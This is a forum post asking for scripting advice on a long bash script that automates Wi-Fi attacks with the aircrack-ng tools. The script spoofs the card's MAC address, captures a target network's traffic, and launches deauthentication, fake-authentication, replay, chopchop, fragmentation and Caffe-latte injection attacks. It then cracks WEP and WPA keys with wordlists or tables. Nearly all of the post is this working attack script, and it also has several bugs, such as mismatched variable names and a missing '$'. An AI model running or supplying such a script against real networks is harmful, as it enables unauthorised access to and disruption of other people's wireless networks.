My wireless scripts - looking for suggestions

[redhotfire]

Yes, it is a lot of code, but my opinion is that it has many options and uses my basic knowledge of bash scripting. In this script, I did not use functions that return strings so I declare commented out variables in the function themselves, for reference. Instead, I am using essentially global variables all over the place but I tried I #declared them in the beginning of functions. One of my questions is what would be a neater and easier way to have my Menu function, because if I continue to expand with echo's, soon it might start going off the screen. You can see it about half way through on the next post. Another, would be what other options should I add to the script to make it more fully functional in its purpose of simplifying tedious tasks. My last question would be what are ways I can make this script neater in more of a programming aspect, with functions in general, consolidation of code, and etc?


P.S. I need to post twice because I exceeded the text length.
Thanks,
red

[redhotfire]

#!/bin/bash

#Color table
red='\e[0;31m'
lred='\e[1;31m' #Lighter
green="\e[0;32m"
lgreen="\e[1;32m" #Lighter
yellow="\e[0;33m"
lyellow="\e[1;33m" #Lighter
blue='\e[0;34m'
lblue='\e[1;34m' #Lighter
magenta="\e[0;35m"
lmagenta="\e[1;35m" #Lighter
cyan='\e[0;36m'
lcyan='\e[1;36m' #Lighter
NC='\e[0m' # No Color
#End of Color table


#Function declarations and prototypes
MainFunction() {
counter="0" #Declared and intialized for the IF/ELSE statement in function ActivateMonitoring


IsRoot
CurrentDirectory
VAPSnDevices
ActivateMonitoring
AiroDump
AireplaySettings
Menu


}
IsRoot() {
if [[ "$USER" != "root" ]]
 then
   echo "Sorry! You Have to be root to use this script"
   echo
   exit 1
fi
clear
}
CurrentDirectory() {
#CurrentDirectory
#decision1

echo -e "${red}Enter a directory to put all files: ${NC}"
read currentdirectory

if [ -e $currentdirectory ]; then
cd $currentdirectory
xterm -T "${currentdirectory}" -geometry 80x12 -e "ls ; bash" & 
else
echo -e "Error; file does not exit,"
echo -e "Would you like it to be[y/n]: "
read decision1

if [[ $decision1 == y ]]; then
mkdir $currentdirectory
else
echo
fi
echo 
fi

}
GetCurrentDirectory() {
xterm -T "Saving directory" -geometry 80x11 -e "ls ; bash" & 
}
ActivateMonitoring() {
#device
#decision

if [[ $counter = 0 ]] #Counter is declared and initialized in the MAIN
then
echo -e "${red}Setting up Monitoring Mode${NC}"
else
echo 
fi
echo -e "${lred}Enter device to be put in monitoring mode:${NC} "
read device
xterm -e ifconfig $device down
xterm -e macchanger -A $device
xterm -e ifconfig $device up
xterm -e airmon-ng stop $device
xterm -e airmon-ng start $device

echo -e "${lred}Any more[y/n]?${NC} "
read decision
if [[ $decision == 'y' ]]; then
{
counter="1"
ActivateMonitoring
}
else
echo -e "${lred}Monitoring mode Configured${NC}"
VAPSnDevices 
fi
}
AiroDump() {
#device2
#channel
#fileLocation
#airDevice
#wirelessEncrypt
#apMAC

echo -e "${red}Setting up Airodump${NC}"

echo -e "${lred}Enter a device in monitoring mode:${NC} "
read device2

xterm -geometry 90x15 -e airodump-ng $device2 &

echo -e "${lred}Enter BSSID:${NC}"
read apMAC
echo -e "${lred}Enter channel:${NC}"
read channel
echo -e "${lred}Where should the .pcap be saved" 
echo -e "Make sure directory exist, end it with the desired name"
echo -e "Example: /home/user/caps/newcap"
echo -e "Currently directory: ${currentdirectory}"
echo -e "Enter:${NC} "
read fileLocation

echo -e "${lred}Device to be used, one of the mon{#} normally:${NC} "
read airDevice
echo -e "${lred}If the encryption is WEP, would you like to only save the ivs:[y/n]${NC} "
read wirelessEncrypt

if [[ wirelessEncrypt == 'y' ]]; then
killall 'xterm'
xterm -geometry 90x15 -e airodump-ng -c $channel --bssid $apMAC -w $fileLocation --ivs $airDevice &
else
killall 'xterm'
xterm -geometry 90x15 -e airodump-ng -c $channel --bssid $apMAC -w $fileLocation $airDevice &
fi
}
VAPSnDevices() {
echo -e "${red}Displaying devices${NC}"

xterm -geometry 80x10 -e 'airmon-ng ; bash' &
}
AireplaySettings() {
#apMac
#clientMac
#aireDevice
#injectRate

echo -e "${red}Aireplay Parameters${NC}"

xterm -T "Devices + VAP's" -geometry 80x10 -e "airmon-ng ; bash" &

echo -e "${lred}Enter a Client MAC, or random MAC:${NC} "
read clientMAC
echo -e "${lred}Enter inject device:${NC} "
read aireDevice
echo -e "${lred}Last but not least, inject rate:${NC} "
read injectRate
}
Menu() {
Decision2=0

while [[ $Decision2 != 20 ]]
do
clear
echo -e "${green}WPA options${NC}:                           ${cyan}Current directory: $currentdirectory${NC}"
echo -e " 1. Deauthentication              ********************"
echo -e "${green}WEP options${NC}:                      *${lgreen}Ap MAC${NC}:"
echo -e " 2. Fake authentication           *$apMAC"
echo -e " 3. Interactive Packet Replay     *${lgreen}Client MAC${NC}:"
echo -e " 4. ARP Request Replay            *$clientMAC"
echo -e " 5. Korek Chopchop                *${lgreen}Inject Device${NC}:"
echo -e " 6. Fragmentation                 *$aireDevice"
echo -e " 7. Caffe-latte                   *${lgreen}Injection Rate${NC}:"
echo -e " 8. Client-Oriented Frag          *$injectRate"
echo -e "                                  *${lgreen}Channel:${NC}"
echo -e  "                                   $channel"
echo    "                                  ********************"
echo -e "${green}Controlling parameters${NC}:               14. Aircrack-WEP"
echo -e "  9. Change AP MAC                    15. Aircrack-WPA"
echo -e " 10. Change Client MAC                16. Packetforge"
echo -e " 11. Change injecting device          17. Completely new session"
echo -e " 12. Change injection rate            18. List current directory"
echo -e " 13. Open seperate bash prompt        19. Run .cap through Wireshark"
echo
echo -e " 20. Exit, Close"
echo
echo -n "Enter command: "
read Decision2

if [[ $Decision2 == 1 ]]; then
DeAuth
elif [[ $Decision2 == 2 ]]; then
FakeAuth
elif [[ $Decision2 == 3 ]]; then
InterPacketReplay
elif [[ $Decision2 == 4 ]]; then
ARPRequest
elif [[ $Decision2 == 5 ]]; then
KorekChop
elif [[ $Decision2 == 6 ]]; then
Fragmentation
elif [[ $Decision2 == 7 ]]; then
CaffeLatte
elif [[ $Decision2 == 8 ]]; then
ClientOrientedFrag
elif [[ $Decision2 == 9 ]]; then
NewApMac
elif [[ $Decision2 == 10 ]]; then
NewClientMac
elif [[ $Decision2 == 11 ]]; then 
NewInjectDevice
elif [[ $Decision2 == 12 ]]; then
NewInjectRate
elif [[ $Decision2 == 13 ]]; then
NewBash
elif [[ $Decision2 == 14 ]]; then
AirCrackWEP
elif [[ $Decision2 == 15 ]]; then
AirCrackWPA
elif [[ $Decision2 == 16 ]]; then
PacketForging
elif [[ $Decision2 == 17 ]]; then
NewSession
elif [[ $Decision2 == 18 ]]; then
GetCurrentDirectory
elif [[ $Decision2 == 19 ]]; then
WireShark
elif [[ $Decision2 == 20 ]]; then
EXIT
else
echo "Invalid input"
fi

done
clear
}
DeAuth() {
xterm -T 'Deauthencation-WPA' -geometry 80x12  -e ''aireplay-ng -0 10 -a $apMAC -c $clientMAC -x $injectRate $aireDevice'' &
}
FakeAuth() {
xterm -T 'Fake Authencation-WEP' -geometry 80x12  -e ''aireplay-ng -1 1 -a $apMAC -h $clientMAC -x $injectRate $aireDevice'' &
}
InterPacketReplay() {
echo -n "Enter file location of arp-request created by Packetforge-ng"
echo 
echo -n "It is believe the file is currently called $newArp"
echo  -n "Enter: "
read packetLocation
xterm -T 'Interactive-Packet-Replay' -geometry 80x12  -e "aireplay-ng -2 -r $packetLocation -x $injectRate $aireDevice" &
}
ARPRequest() {
xterm -T 'ARP-Request-Replay' -geometry 80x12  -e ''aireplay-ng -3 -b $apMAC -h $clientMAC -x $injectRate $aireDevice'' &
}
KorekChop() {
xterm -T 'Korek/chopchop-WEP' -geometry 80x12  -e "aireplay-ng -4 -a $apMAC -h $clientMAC -x $injectRate $aireDevice ; bash" &
}
Fragmentation() {
xterm -T 'Fragmentation-WEP' -geometry 80x12  -e "aireplay-ng -5 -b $apMAC -c $clientMAC -d FF:FF:FF:FF:FF:FF -x $injectRate $aireDevice ; bash" &
}
CaffeLatte() {
xterm -T 'Caffe-Latte-WEP' -geometry 80x12  -e "aireplay-ng -6 -b $apMAC -c $clientMAC -x $injectRate $airDevice ; bash" &
}
ClientOrientedFrag() {
xterm -T 'Client-Oriented-Frag-WEP' -geometry 80x12  -e "aireplay-ng -7 -b $apMAC -h $clientMAC -x $injectRate $airDevice ; bash" &
}
NewApMac() {
echo -n "Enter the new AP MAC: "
read apMAC
}
NewClientMac() {
echo -n "Enter the new Client MAC: "
read clientMAC
}
NewInjectDevice() {
echo -n "Enter the new device to inject: "
read aireDevice
}
NewInjectRate() {
echo -n "Enter injection rate: "
read injectRate
}
NewBash() {
xterm -T "New Bash" -e 'bash' &
}
AirCrackWEP() {
echo -n "Enter .cap file, remember you stored it here $fileLocation"
echo
echo -n "Just need to -01.cap at the end most likely"
echo 
echo -n "Enter: "
read fileName
xterm -T "Aircrack-ng WEP" -e "aircrack-ng $fileName ; bash" &
}
AirCrackWPA() {
#filename
#decision3
#wordlistLocation
#tableLocation

echo -n "Enter .cap file, remember you stored it here $fileLocation"
echo
echo -n "Just need to -01.cap"
read fileName

echo -n "Are you using a word list or Airolib table[w/a]: "
read decision3

if [[ $decision3 == 'w' ]]; then
echo -n "Enter location of word list: "
read 
xterm -T "Aircrack-ng WPA - Word list" -e "aircrack-ng -w $wordlistLocation $filename ; bash" &
else
echo -n "Enter location of table: "
read tableLocation
xterm -T "Aircrack-ng WPA - Airolib tables" -e "aircrack-ng -r $tableLocation $filename ; bash" &
fi
}
PacketForging() {
echo -n "Enter .xor file generated from Korek/Chop or Frag attacks: "
read xorFile
echo -n "Enter desired name: "
read newArp
xterm -T "Packetforge-ng" -geometry 80x12 -e "packetforge-ng -0 -y $xorFile -w $newArp -l 255.255.255.255 -k 255.255.255.255 -a $apMAC -h $clientMAC" 
}
NewSession() {
killall "xterm"

VAPSnDevices
AiroDump
AireplaySettings
Menu

}
WireShark() {
#capLocation
GetCurrentDirectory
echo -e "${lred}List directory by the function in the menu"
echo -e "It should begain with $fileLocation"
echo -e "${lred}Enter file name, .cap:${NC}"
read capLocation 

wireshark  $capLocation
}
EXIT() {
killall xterm
clear
exit 1
}

#End of declaring and prototypes

#INT MAIN

MainFunction


exit 0